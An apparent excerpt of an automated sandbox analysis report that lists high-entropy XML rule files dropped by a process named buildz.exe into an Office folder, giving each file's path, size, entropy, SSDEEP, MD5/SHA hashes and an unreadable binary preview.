SHA-256:	F812A7B3203D51B860E3379E1FD8D4CFB0D97A8645B66BDCDF424F90C590F943
SHA-512:	78EC4FC4C6BFF8493C72E683A99962E335D508AEA52D157EBBE0FB576B311159EA75D7196D21C2B446855F521598270ABA5E60DE949424C3C38B39BA16D89FE1
Malicious:	false
Reputation:	unknown
Preview:	.<?!.$.6.F.`...j...i.N,&....)....c...Q.h...O.........d... ..e..e..'..1......`..q.!.y.)o....Q....Y..?{./.. .Fru..)g.0.Kx...(..W .v.U.;........J.C\|.j.'.s...`...........'8..{e7.S....TTt=.......@.}.R.U...x58.v".x.al.k.zd_....e.).~m...Z.Q...........vIP.1.$.../...hY.....)..Rp..Q..j...j.....{..+...,%NUy......l.r.L.97.. .....m.\.}f....>.)...[..{$.k......gh..as-..........\|.@...F.1e.?..:jB.:K........D.......R.i...d....M2;.....q_iY{f;V..=.xnY...v...#%y....lR./..h-6.bRo4.e....).M.......:t...I.!.,..9,.TAgh%{zK..QBTZa-.-.I?+....z;^.....C..C(..J..7.gR.D.)J.H......b.."};.!..#....cwYx..Y~..T..oeok.....C...x.p.p.&.d?Xh..=.BOH.[.3.73.C....!.z.......<!.~F.#.. ...%V.........G......e....\|..&.+r..z..0.$.g......F!=......?k....r!...f.y.U...&..\<..9.si..a.1.._.B..ZY..M[....u.h rH..BV.~..p[{..t....s.mm[r.aYAU~...Q.#`.?.K^m.r....!.I....\|5&..RCL&....K..).0F$....B.z..W .4>r......kB.>H.Q'>...}..Q...P....4.<bO{Ei.{....3D.....1.........Z?..r...(r..<.V.....+...._

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule702451v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1731
Entropy (8bit):	7.887469954344528
Encrypted:	false
SSDEEP:	24:HXCAMicIgiDTOGbCoS6eB/o92AiGk1XfyhP/tNVoPEwgRU40ztai/1Rf/a10lWC3:HXCFicsD6GRSrBgZiyP/bVK24g0lbWiD
MD5:	F76C74953E9B506BC655A7C6025B72BB
SHA1:	B794498BCD30A17F34BB0B8EBD37F67731B9190F
SHA-256:	946A07E1E29D2C498E588823A251BBB6B19BACA89B35088983731114F4A28F57
SHA-512:	C4ECC1A12AF047CABB097F20288CA7B456537C41F5D49AC51D8A09BBE94D943C717F748EB656CBB9C8EBD2C2EFB81358D180CB39103ABF4DDEF181360994A9CB
Malicious:	false
Reputation:	unknown
Preview:	.<?...."..[^.5...c.7.s".h.....<..R.`...B. a.L..,tA.1W.\|.QNM.~..j..).Ix..?6NX1.W.V.+6s...c......;.z...cQ..f.S.}.y.1JA../CB.I..~..x}..ZW.n.].lA...jW)....>b..SJ...{..pV.J.di....}^...5.i...J...U.@......+.......!.= .lZpEa..M..K..).R.&..zZ...`hN.>..rp.......Ss..t.GT...r~...f..........gw!2.D.x^...1...^..m..f.5.e^.\|..>....f8}..P.B6..h...k.\|/.m.%....2...-JSp X5!.$......E..{.....4..;..'..bOw-.....eZ..q...p.VHm._{3..Xz.x..c..$v..9....oA]!.rj.VW.....1.....@.....&.cR.c...~Np...._..._........Q.5...V..Z.v.qU...Y..W!u.`...Y...Ki..........bh.E;J..2.){....%..FU.X./Q6l.:Pi...g..>?-)..N.....PS../.I.5e./+."P.R.$.N.,....v$a.aD\|]..9.a.Q......4m~{.i[+1.Jj.l.......z.....u.A....K...O...g..F..w.Z....3..Y.f...q...E8Z...~O..+..H,..ja.....N.v.E.v.......a....+..\.."..?a..M..t..m(.!.;..Q..0....XJ...!...U.."BW....6......=......M.~....`JxM....D.R....0.......p.C.D.f..,.X2..{.?V..q...[....7.)...#.K.(Am.0...W........Lo(....@KW..\|.sX.u_.#Yx.(..{.4.X..t.4.e.H...\......O.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule702500v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1712
Entropy (8bit):	7.882001831265605
Encrypted:	false
SSDEEP:	48:sF4RoGH+2ttVW/93w4dlAFltlUrshIGj2kiA+l6hBLJCD:sMoGHbnQw4YFjhIGjhL+wBL0
MD5:	63CD4AB8A93DE16D8C9829867DE01F81
SHA1:	16B098935253F5C0589C97B921613661282D0197
SHA-256:	B4EAE7D29804542CEAE5F61804D6CFFBCEE1FD84EB21778022A761E0CF89A448
SHA-512:	DB2018BC392A3AA345B1A35FC114388ED098AA0F1FD340589E9279EE2C1C14119F9B411482C105A90624D85E3C48BC5409ED854C9B684AA428EFCF569931FA65
Malicious:	false
Reputation:	unknown
Preview:	.<?.&G.&............l.V....6n%.,....G.%...HT...5q...l..p[Y.".P..N.d....Q2.z...U.(.Vj.L.."s.3A......k.....u......`.N...R\..cN...1..6..@h$ .5......_V._]<5.o&.%..&....G...3......_.}.fS7w!.......P.x.&....6!n....t..P..(...r.=......+.7..].[.2...Z.KJ/.X.F.._...."#wE....&.B.Cq....U..B.4.^X..A%C.....13N..X.....B7.....Q.F..o..Mx..Y.^...yJ..<u....4....O..x)... .u...,..!.......Z....zc.L..+..)..?..V.!N&N.1~+..%......-.w....E.?.k....:z....hK.. O....8.,..x..s.9..c.Rr[...Y......j62.U......y.........i.W=...M..;..-...ap...mK.5.3..\j.[....A.~:...9?.A...\|P.......B... F.9g.s.H3..Q...._..}"........c...f)....c.1.,.=kkN....y.0,.c~..u^.E....d..........6....e.....yiQB.<.........a..[.h.m...E?g.Q<.5.[4.rr7 w.."d....^~.S...&r.w@....sg.x<..c..w?[ks.......=s..K.>..0..^voj...-.Nis..P.....<}.N..n..w..MJ.JC...Jo.8..o..CX.l.V.I(.;SZ C..'..Je\|.7n...$W0.+...3..O........yO..;.j...W...B.>...T.... ....{'.......@.t.6.....MP..'..")<..j.Va@.K.EBqd....I.....~6....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule702501v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1749
Entropy (8bit):	7.8894517359497645
Encrypted:	false
SSDEEP:	48:JdzS17klq67hVg53UBqabAwGTTmVbTXCRITo0AiD:rS17kqEhVkUmTKvbk0Aq
MD5:	9EDF7EDAE69E8C3C97298EFD5FFBFCF3
SHA1:	B0A04BD27C2448E2FCA2CD6D5213CD60FF762306
SHA-256:	3022D6A78F08765B18A696BA6494C23DE4478DA571E23BB60541DB8B927D8888
SHA-512:	917FC2587E39203E77FF501ED3A5045FB2F92F83FFF948FF37EC02974EECF7122441F6D9F904A40A959BD7EC2882453E4CEBC4A2846E147CFE416788D1E9B2E5
Malicious:	false
Reputation:	unknown
Preview:	.<?8e2.Y!;........f..J..d......q.G.2bR...3.@.. ..5.M(..}.....m>.L......K...`.=.n.....E..l.\|A............KR_G.q....g......B.. .e.S...E\|.S.......VM.~A.)..Y.[$..R.J..q.jP..n.);..\|."D.~WW..`..i.....@..../......u-.U..R>......l/B....{.R..XD.A<=./.q.. ...B{O..&.&......W..,..C.v;....#b.R=.....:u.I.JE.....%....5....5...h..m..u..j.....j..H._;...a7..E.7..Zb.7s`x.......N....f:...7..t..A".@.$3.uO....s..........).4.n..EGl...`,...M%......E.O =..Y........}..0ma..L....v\|{.}.X..m.w.^d......>..n..1./.....%.l....ja.Uw.@N.%...V...4.6.!OS. ..j.+......&k.?lZ$.......=....-y-x.....=.&........>q.pv.d.tK.:.'.....<..)Tw.(..+...M.(;yb>Z..MJ_......5.D..^.....uc..z.e...z4.zy.....c.\..g...DL....kse..*.j.v.8.z?......s.3.s..-.....^.r.;t.H4V.R...=3.s...2b.e....$@[.S....<..rw../p."X.~C.`.<..d...<HZF.9.wm.v...~.c..w.m......c....{..P..=..F.M....eVT.#.x.......FcyA...(L..U.r.P;."..q.M.`m.J07..R.0S..-G....hnZ!..%.a.Q.R.J4..8..............x....`;..]F../..H...M.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule702550v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1712
Entropy (8bit):	7.888443794742227
Encrypted:	false
SSDEEP:	24:mmuZWoGR/24sEOU9FySzd+VVJsYE5kg1AvMSHdWGhf+1SkDmwERotrK3yD7nwnMo:mmuZWPIfkyGDp6g1At/Suog3qwmGzND
MD5:	DE9AF97E803E3A6AF42FA33CCE4917C1
SHA1:	3DE0DFB79748DED3509B190628142E4C9B6CF4B3
SHA-256:	4789936D1D80380C2EEB6801875BA719ED9332EEFC3D9F04068AE37B407E2EFE
SHA-512:	626699797A8BE268F2008586DC993957A675DB3334ACF1E6664F44FB3D5819D3A983F7EAFC5761340E7786630DF9AF03A53C5CFEB19AD6807BCD1DA9C1BA9D1C
Malicious:	false
Reputation:	unknown
Preview:	.<?..L.6...{........g9..$.y..9tT .YS.)&e.gl.[._...v.....Y<...\?#..dS3.._{(S.......V7J.."..y.}.Z...k...d4m.S.vP...U2.H....zI.....M.#&...M!^.Db.r0...i..N....&..isVm.....u`...s...I..v.[t...He.,.......[4..2_C.A.9i.W.>.....NSr4[....M.......O.Ju\|'.:.f3P.%.{$b./#$.pOK...:....8b...O. 2..n_ f.8-=.:se.'.l....C..b.)..t.@~w}S.........R.....C.&T.r...2m.'.x..q,D.h....Nu.Y...'QOk,..?2]0. ...6....U.Y..'R.3&....e.....($...&.\|{...D...uf.;/..8....4.X......\..X#k^..)..,....5h....G.$..Fd....z......x.r...`.7.!.....#....p._k..{....l-xR..&W=.5.@.H.?).wD.......-Y..z`....!69.b.O....\|ibUo...+.{V...nT...nlj..R....>...Co........L8v...'.Z.d...LJ...q_.E:U..'.$w...D-.&z...H.....u.X..........s.Uuezg... .d.......Y9.......f...0....0..N.x..e..8Y.l.R.Z.VzZ..^g/....t~D.....Z4.l3ub...v.f...=6.j..J..>...DI..v.2..../N..i.v.....O.LD....9.L.9.3.a.+3.<5...H=......w......J2g...[HS..&.(.....G..i.fT.Z.68\|4....X.d6..~...i..[$}HY.b....0.....JG...]..*.P..2..p.E.vSw..w..VA...o<`.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule702551v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1749
Entropy (8bit):	7.88080723392189
Encrypted:	false
SSDEEP:	24:gUwxIqK8QL6oznRh/sFIheUu8SVtU/brW3+dLWCvRa+Qq2S7It1wz1R/lvbD:WtK8QWYn0FAXuETrWudDRa+QfuRhlD
MD5:	DD12FD83DC3B22C762F9E6A2D8081B90
SHA1:	AE1C81C631753AA0A7DB8318959B1511DA87787C
SHA-256:	D5C7C2AA83A08B3E043C0E25681C26B75AAE5B46C341B21E8DD0DCE6D22DE8EE
SHA-512:	E737C1844738D2F7D74C0F0455D321021B78902B91ADEFB7A99ECD1765E7C84FB7BD832D9BCC046497AB54D9359CFAEFFD61938EE6D96399284993ED284E11EF
Malicious:	false
Reputation:	unknown
Preview:	.<?.....h<~...#.i....LH........h.y.J......-.mbHG..G.?........;#1.x.......\.]o.m.gz.2.7.G!......-op...(y+...w.p7..mI.q...7..}.y.k;.j.tM...A.D\y......R-..b..v6p..0y.Z.O....DM.R.f(...3F..ER.Vc..Z...Q...,.o.$..e..9..I.F...bU.C.Z.9.L.l.y).....Im..BZ+...N......!...x..E..M......J,;......d.L...Z.5.P.0.G...[.Z5..%..V.......l.KV..%n4...b..r...#....ve..W.K7r..x.....M.Xv..s.......'.<I..Lo..8Q..Q.k=7BZ....M.....).TZo ..rc6j.`XcA.......I..&`J.l.....Q!.Oy.B........{e.lv..`UUw....:.0..........tA.S..A....U.j,)kME5..x.4...7.:.[.t^.h.b0.%8...4........n.y.<K.ex..Js......).&.`...h.}E....0\|U..)..b..~v.2....0....,u.#x...\.GD..G...3.]..hz.!.=.S..,U.....d.\...j...i...Q....hD.....W.o.Y.`d.....a....z\|H....)..y.r..HP....Xj.1N..%.M.].,...?X.<..g}.D-.7/+-;.>.......P...L...{.?.K'...A..T.v...{ snT..7x.\|&a.A.O....{.2.}.1c-...@o..;....A.C.B..N.1Mr......m...R...~...\./b.iZ.1!\|.=.?.,..............\...0.@pK\.U.4.n..R...{..x......\|.-.0&....9.P..7$~...x...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule702600v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1706
Entropy (8bit):	7.888525795413839
Encrypted:	false
SSDEEP:	48:f1f+M2f2C2diVyisKanstLIGKv3P8pfcHMMtgBHD:fp+g/iybncLIb3PSVMtgBj
MD5:	3B024F98F406073A87E5FEE26F225B5F
SHA1:	6CC6AAC12F70456FB42F90A183C034A00E3AE1CD
SHA-256:	02BCC8EE1548AD4D6AED9265BDBF5C7CFCEE01215E0C7AEE34D3F06C4070938F
SHA-512:	0F29F3C5C32F404FF48518B7958C00CF026A6AF4880728E5C0CFE251698B59010CC4C4331B12328E51C713BE04BA256EFABFAAA35E9CFCC8621678631300125E
Malicious:	false
Reputation:	unknown
Preview:	.<?H.YC.l..ej3.T...j..>3\e....@ch#.?..4WZ..K....B.Q.......h.5....}.'....g.DR......-f.r5.&3.{.!..D.f.y+G...P..J.....G.;q.x......+.K."..X....'.\a.<O..bM.....&.\.;...C.. ..dev.hN..F....#W-q.M0..\....O.b...IU.a.....`[...!.Dm@...-.y05.'(.....j.y.q.EY.k.}H%......H.....~.x.b._...t.Km~.-...Kw..-.>..q...tk:...A.k..{.1Df..O...-......d.Je......^.. ."1[g.6..\|..k.:....x..14jr..P.....5;....xZ....21..... .p<...R...).+J.I...L.ma.x..2........4..K......r..3.h.:...T.k.zs...3.....Z.....Y`?..E......J..i..F.s...+..D.Bo\|....u...O...k.A.W`.....3oq..jc...y......I..._v.<-..o.G.f...@O.w...V...nK..r..s_.q..AT..S...=...-x...N.$.....R...a)....1...<+3x].[...`.Ykt.7...V.O\.K$=@%B.\|.'......*.GT..C......h.u.&.G.... ..z.0....~".3...G.v...M:U..Br&..v.c..8!%P..TIP...CO.....q( ...Jl.K.....U5F.............I..W..$...d+/.&..V.......G.iC$.P.\..'.i..\|vw._.K.w.8.......Drm...~c.anB.S...]..R}./5\|.sz...Fy..eY.1&Hx..!.:Z..:.'8.K3.b...Q:....J............. ...[?f....Q...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule702601v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1743
Entropy (8bit):	7.883248033222101
Encrypted:	false
SSDEEP:	24:7w0Q2e5L/OzvEcZiGu/GE/lWQAT9yvn+Pf1/QMdv5Z+11hCNbjctX5bD:7w0YLWjEWiGKtATcf+Pf1/B6UtjoX5D
MD5:	80D09948B75876C423897FA6B75D1B2D
SHA1:	1837B8BB68B727763611F32E1B0B8F0EDE4EBEF3
SHA-256:	8A7AD4A82ADFF3CD28E0E4BA0AED7A265170553B531C18CBCA436900E45F3E07
SHA-512:	2D5FF8325884E9F1EBC9DC676CD39C7989CDA0FE6ACFB753970ABFBB01373378E59EA67323BB3CD751D1C8E249EBE1800F7463BB84F646A37617EB9C4D64CDFE
Malicious:	false
Reputation:	unknown
Preview:	.<?._y]..\|...f....}.K...-.O..WiA....i..x........3Q+..T@.l.q.RX. ...`..X.T68..........a...R.N.....g."..0..Th..gF..e....`hV...(..Y...F.6..s.\."...d..`..me..k..!.......x..?T.w...._....L}..n..........s....d..D... ..bZ+.J....T.l.. .(...../7-.......1.....B.S2.)qa.v.b... ".c.....:...I?=.........X.....D..e....U................T$.M...Z^G+..$.8.5..O...5...>.`...k...l8.'..2v......M.:2y~.9..rN.x......^...T6...x..^O..B&6....(...#.8.}"....V.S5.1...f......c..m;w......{.......I....`..#`.../.P.D...UYK..+d...%l..^./N..#.C.1..2.f..u..^e.....j...Wn....[..,.`~....{Ye..).)V..t..N.}..l>...k`...`....h.b7.n...zM5.-V..0.....V.)w1....^.S..`D.P..[t.......4."..n..s.......L...W.\..>.XO/.X..B..2.G....0M..2U..P.../i..."....<.qEA.Z.8W.H..F....M......4..l..)k.+"...?..0..=....s.....i!,.@.....h.."#$.<_S...{.mj...-.....:*Gv......R%N.7..b..L...U2.........d..k;.z.@.G......1.u.........@.f....s,.D4.Xn.Dw.....s......].t.........U".i.....\?.. &.?7%...>....)....>..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule702650v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1692
Entropy (8bit):	7.886649006423138
Encrypted:	false
SSDEEP:	48:9L7FVCuo39Q4ZWwjUwbSXnaCYrB6aGtRD:t7FVCuoN6dakaGz
MD5:	7CF00519B836C67696077234150199F1
SHA1:	3EA89FAAF7327926459D64C1E620C28C4514D5CF
SHA-256:	8FDACD4C19FC5C208B12F4193E7D7D8749721B9D644C64CECA57B5434046D9BD
SHA-512:	F6659639D46ABD165F020CC313BA22973E8D659299E5E47A0A23290210A815F78CA38C885330141859CB9BBCEBAA424051D3173380A5B202E828F0F6A0220D51
Malicious:	false
Reputation:	unknown
Preview:	.<?.8.f.U.\t.U...8.....Z......}!.....[.)..s...N...7.. .7?+......_.........-yFSL7.Lo..s.:R3O;.Q>......)...61..zj...V`...8.e.l..%...{.I}......l4....!..#J.[`2AH}.$...N...d&.d.....O>..F.(.3.u.Fd..I..<.\|Js:.qn......0nvp.k [....1...KY~d......M..DFm8..=\|.b."...w.w......j=.....U.z..O...2j'L..\|..^..;...G...1...CD...s.X.}..........<g^D..x....^8.im.i....}~7...Y.Y...{.Q...M........(..t6.i?p.:.,.uA....C.q.;...s"Y.h..)Ab..L/h.....PH.......X.x.E..b<..H.1..x..../..Kq.{....Q.....u....OZ~V..}o......Lb.xZ...}..T..;b.p.S.............q..k....c..k...i..;..W.. `..~e7...y...g..8.Q..N.T.W1..p... ...0."k..{....E.=..d..............Nh.S..I c...0.\|...AB............<X...d.T.......<J.n..ePFr.=P..t+...p.]i4...Z.O....*...l.....l....W.:.4...{...>.....rJ62.+/._.K_.e...}1..A.{.6.2...@o.........o.w....N..e...j...B.flj.f.pnY...!u.tH...W.w-....%.!.H..z.\.......w.a...shR..........O...]&.#.K...V~.GB.......~)....zn.....bsx....&h.R.J....z.;....x....C....p....)g.#..9L.&....\

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule702651v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1729
Entropy (8bit):	7.894321558153423
Encrypted:	false
SSDEEP:	48:fFC2y8oe0/0DWTl3BL59L/TwVgLx8s0UQsJpD:fFXDL0tlRTXDGK
MD5:	1E94FD0C678569CB2DB4FD48A6A65677
SHA1:	FC8A3479BF740EAD46217172AA7C079A3FA9D7C1
SHA-256:	745D66649A4E3C7010CAD066DF861881931CA30B1748FA9677126F31C8E2829C
SHA-512:	27641BA37B4EF0675C771EB56B4917BEA46D46D6A36B88ABE787B75E0A37690E847DF4D18C25815EDF6929377153B1118A23C76DD527E1CFF83ACCF7C0182CCA
Malicious:	false
Reputation:	unknown
Preview:	.<?n.$.+..N.sa..K.Nf..J.....5;.%.....C..r.E^..g....Q..........XWl........y..s..7...^:.#~..}....C#.~...g1.T..^4U.x...<........s^\jaP.......!..iT....1..q...;.7.%.+h'0I..T9..k..w#.Q1.#J.."......S..2;...\..w.....Gsb].~E.e...6.].v.W..#.p.)....++..><..(.z.....w......%..3.C8.9X~%/\.w"......a...g5.o............>..m...Px.e..6.f.+...}i.....}e.>8......s.?....?....._.(.l.u..\...c.=....wN/.X......2.._-.r.$..zB-)...<q...~..\|.......!s...g..y.U....$m.....Vit.6.<....T....... ...R.\|H@.:v!..m.__o.v.8HlO...u...?.~..i.7.'.....z.=,&3..pvdh..)f.@...9..cn..u..N.....<.t..B..7`D....X.P!..8.9..q>#..O..m.BX./..>...zD......P...`@Tv.dOT.......7...h..(.........x.\|.$..6.....P.A..V..O.m..-..DJx3].[@C.9H..X.....^.w..j.Pif..Z........A...Zb....k^5.2.Q.=.9?c...wla....;..5..Xp..q.g.0>.b.<w.@........`ns....;G.k.....U..oT..3..9....2...q{?..0ra-6(.FX....m.....'..n].....(s..0....QE+;.......a^.....u...n.X7...E....p..(..6.67p6..^}....v.@.Qs.%n.,s.1....M..}..na.`<MB..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule702700v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1701
Entropy (8bit):	7.879332025560511
Encrypted:	false
SSDEEP:	48:b2h4HjQLOOeSFSxnX/8eSjZGsKhxon/Mu18PVdZD:i4DQKEcnXgZGsoxon/MumPVj
MD5:	DD71FEB44931E711364FAE5A2D78EDC3
SHA1:	FAC7D3A477FF1CCCFC8FFDBD944891E444D4B3EC
SHA-256:	861D882854F1801A048F7F59F17FEC03869DAC6719D08F3147AE2658D55F41E2
SHA-512:	8FD87C3323145C39C378A7C2769433C9F893816E5CAC4B8FE5D71BB02AB24A634B3E373147A4996A563254857EA34A0F1534AD361706227F587AFAF675788734
Malicious:	false
Reputation:	unknown
Preview:	.<?j ..d..?......^.J......m'.g.......<....`.{K.;?t.......=.....N.Zb.n........:....YA....97.9..?T._a.."..v... ..).;\|..q{.E..Lj..6G....U.?........K..C2:1#.................2 G)..e..v..wU'(..w~c......c.P....Y...../.s....?..>..e.U..I .....~.1.......Mi..j.pcv..'W...+..../D9....{...O.....r.&.g....}....~5...[...8.}.aMM.......#...(o....R..z........+.SUY...z.#...N.z..8......[.....E..N.A..o.....;..4....J....../...-...g.....}..._Y.:..:.#w.^......d...z..Z#...b4.......v3.".G.61...8.v.9..RL..x.z......k.....h..2.R..y..9RX..cB..P`..j....DX.ci...[v....VH..cHSV>.'..yX.u.{..8io.........HSGd.V.p.../.^J..~...{.2k.0.<I..Zh..N.9_}!..\|i_...S....Ew$.s...<.2<n.0aC;..:..B.[.....UM.x..f0....{...b.o...... j...W.`v."R+...R.>S;g)q%.Y9.;.M....c..]z9..Q...~.Lr.`.{Sa..!.\. -\|.ea#-..s.j..++....2.0..0....=.Rs..c.MT..w.\....?.^h...k...~ pV`&..`....-g...............U_....d...\|.(.$.....Y%.ON.W.... .F.>.!.....-?x.d9.......D.]..lV..C. u.UXv.8.'r..e....f6..C.5..l.'"1f.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule702701v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1738
Entropy (8bit):	7.871306200589457
Encrypted:	false
SSDEEP:	48:uG/jwVgd0sn/16PULziCX6v/wFMaIGUHLUD:Rr6g//uUrKv4FMdE
MD5:	B83AA04E281038E4264C6F3ACE209D27
SHA1:	5A745D85AB127668C00BBC9B041B8FFEB1FDC604
SHA-256:	91D254716E07C5136D01F6F0ECBEFA69B17D75151D6AD95C4C93B3A8C97C5B84
SHA-512:	CC1AC05F14978356CC253B19803303EB2F3A1192508278B0596776164B84CA79924026C7B5E7A6923A6A990006C19F11A4B52F7759FFADBBB6A67A471C4DC5BE
Malicious:	false
Reputation:	unknown
Preview:	.<?n,:...?....2...._O.=loy....f....Z..U.scPm..>D...0................h.......oL...G.....iE7h..wg.J.d8..o2.G...#.a.M.7...<.r.:.V.....s..r.....M...].q.X.........%......}...I..d.."....TU..]x....Pw....O.#..t...ttrq.9J.B.. ......#.w........P$..L.nEzV.NF....O^...yO.4..,\|&\|&..7,q..~.,.....C..J.....J.%.E......p..XZ.=h7.._@.M!.\|....;....k<._!{5..j%.l..d.%q.....-.wy.t3.&.Q....B.E..Z..8b..M..{j.V_L.?..O..{......1....f.Xw..................UUM..0.&Q.r.a....Z....0.T..r.3...=(H...Y8...9...v..'..tL..o..:.N".. ........../.h..Z.0..].d {.......$......!{......2.....S!sy..&.....NE.=..EMueGP..q.A.L-o.c.....8......,L}....H.....4Q.N.=G...O...NN.J..<..[...M..X.WO..V......>>'..G.>G#S.6..e./v\.-fk.._..w...3.$~.>.A..~f....D.iY\C..u...........wS..N.bm....SgOK....1C..`..G..M....\|..'..vX"{*+x.o.PO.=....O....8...2...7G..\|L&.........b.d.w..B%0 .......8S`..2.S:!..N....f.....".w..i.Mt=t.0t)r.()v.K[.... W..+u....n..:\|&.;....71Y.s...h.........Go.,9N.(...]..X.a.z".E4..M.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule702750v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1700
Entropy (8bit):	7.886662499334692
Encrypted:	false
SSDEEP:	48:rvNqeAUSKU18OSvDhn0dUWP1vJhjrhGlOVNXYwjQ6i+D:rvNqeLSKU1BSvDh0dUWrhjtNXJQ6iG
MD5:	951E6CD0B1BAE087BE98E0AE877C2695
SHA1:	C5AFAA6ABA11DAF3EEA652AE016BED58E58A25EB
SHA-256:	CB31B0601314EF897FFB601086B4D7289B41C6FAA24063C80F799BFACBBC48DA
SHA-512:	1736BF0E9DB9BDB41AC3650BF98B71C4CB9B192148E8151E1EDB7574870DCD672C865D865C4840CEE3EFA9C8F545B512DBD3728BF3C919FA9EB296C43204A178
Malicious:	false
Reputation:	unknown
Preview:	.<?. {o:.M....2..AK:(.+\|..$v.h.-....e..{;J.U....l..2".........sp..{...J....KM0.%.^...)..i..+.~{..@.&.#.~[%3.........?E/.....j.U.1..r.....=...!.\",...O'8..F...)....WR.7%...N..1E....\.....Q...b..4To.yN...,.G..x.X.P..".$O...(..S2R....diu......E..u95X.F..5.Qu_.....P..7Go(zt7.`....AdG...p.&j3).Sa....1.+..6]j6.'@..Ofo.....y..G..s..dB....,1.....&_=.....Y..`...@m.IM~-..j...+......\|.$n...R0K.I...[..,.\I..$....:.Zu.H<.%..y)orbF.^.7....+@..:.....+.".W ..._h.kP...=\|Xk0.V....).....v.$.a.......].....H.!.S..a}O.v'...y.@ .H......Y...3.&..P.#....,...bm..%...4..U..L......@..<<B...q5.}...!-.2I_......qD..Ir....\+..l4....mb..^k.u.6q.y)[..I..c._.c..\|#...tX1.,..br....#X..GZ.1.~;n..()...EV.^...:...T..&{7;i...w[..ca1&G&.2..C....%.6g;o0X...4....4....$.."L....X....X.w........W.vQqWm..\.[.....[.%~...jQ..~.ss..w..e.+..a...............H-...C......n...9.7....V...v../S>....D..>:.0/".9...T..G..H....6...Cr..........?.7..\)..3y..Lr.u.).g.../.$..>.l....<..Z.........$

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule702751v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1737
Entropy (8bit):	7.899368855811851
Encrypted:	false
SSDEEP:	48:ldb/t//7LNvjWWn3bUV//6ShtZV5aqb86D:ldbBlLWWm6Sd/1AS
MD5:	778C129080B38630B2EEA8DE739E6FF5
SHA1:	057E60FB199B2ED4A9E9CB9AFB5C4E65A8C5DDDE
SHA-256:	703AC8BE3B102DF81B8064753FBE704B5118DA342D3C67D24FAC868AAFC4BD75
SHA-512:	648E47C778D05064F84CDA580FDEC7DB5E7415FD392D84950F8DAA04BC173952B4F2F8E6E361036B2C09514A1A64EE918D27F37D12B6FB004EFA0BA26A393DDA
Malicious:	false
Reputation:	unknown
Preview:	.<?.....t.5.a.K....m..w.il..+....t...;.....;..4........../_..h...e..,<..U......V..,....?.....Uh..O... \|.`.^... 8......{e..S..u.$sp.=.......B[..>.".Y.Z..[..u.@..7....:K>F.k...\.......,..!G...Q...j..6r..-m.Qk1. ...s.>@.0.6(l...VS....ANQ...=a.xd.....W6[A......k3,\|....d.5.Z...Y....3....bD..k.#$...._mz.2......`..f...l....$."1Z..+%&.H.I.i..u.Qnb.\|.....v..sZ...l.E..h.. .....-.._=...............bY.....ymfUA .n0.X..x]u...y...... W.........Z\|.D..\|...QoQ.7;.D9..%}.c>.........W.w....s'{.....ngu...h.$.T..rI..Z....E(b..H[..O%.7W..a...Wr.....v2&.....G%.k.a.}...%..8....J'...@K.s...(.M.....igN4.k.xi7..h.8..g]..~i.."[.r?X\|.....Zl.........zQJR."M.j...'`:.i7zBJ...x..^...r..NxC.<w0ce......D....Vw.z....f...bS~..Mq.g.Gg......S^fl.u...i+. .W.....i&.......y.3G.....i.zm....c.t..i.0b...@...%A........!.=.Z.^:.....Y.!,.@$f.S.hb......Cm..$O.Yrp/..6..<..=,m..=j...r.....:.......h.d..\|.....M..Q..Ur:.....W.l:K~.'...'..mT.&...`.7<...v...b.BU.>^}......_^.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule702800v1.xml

Download File

Process:	C:\Users\user\Desktop\a\buildz.exe
File Type:	data
Category:	dropped
Size (bytes):	1688
Entropy (8bit):	7.892816685334912
Encrypted:	false
SSDEEP:	24:NWAZSMtiIVZo42U0eVvgxggIM94HOvmmiTcTVhDtMXlwBKfq6JrxdXQbD:NWAZVTDoXU0Y8Ig4HeiTZliKyY9dXKD
MD5:	00AE8440E2728D693947FFFBF8F327A5
SHA1:	0497F4C3C545F65CC2790C060AA51F7DD8ACFA81
SHA-256:	20B5D8088F926DF87D5FE121A1F3486C8FCF18F0DAB892914685CC7C1CEC5ADE
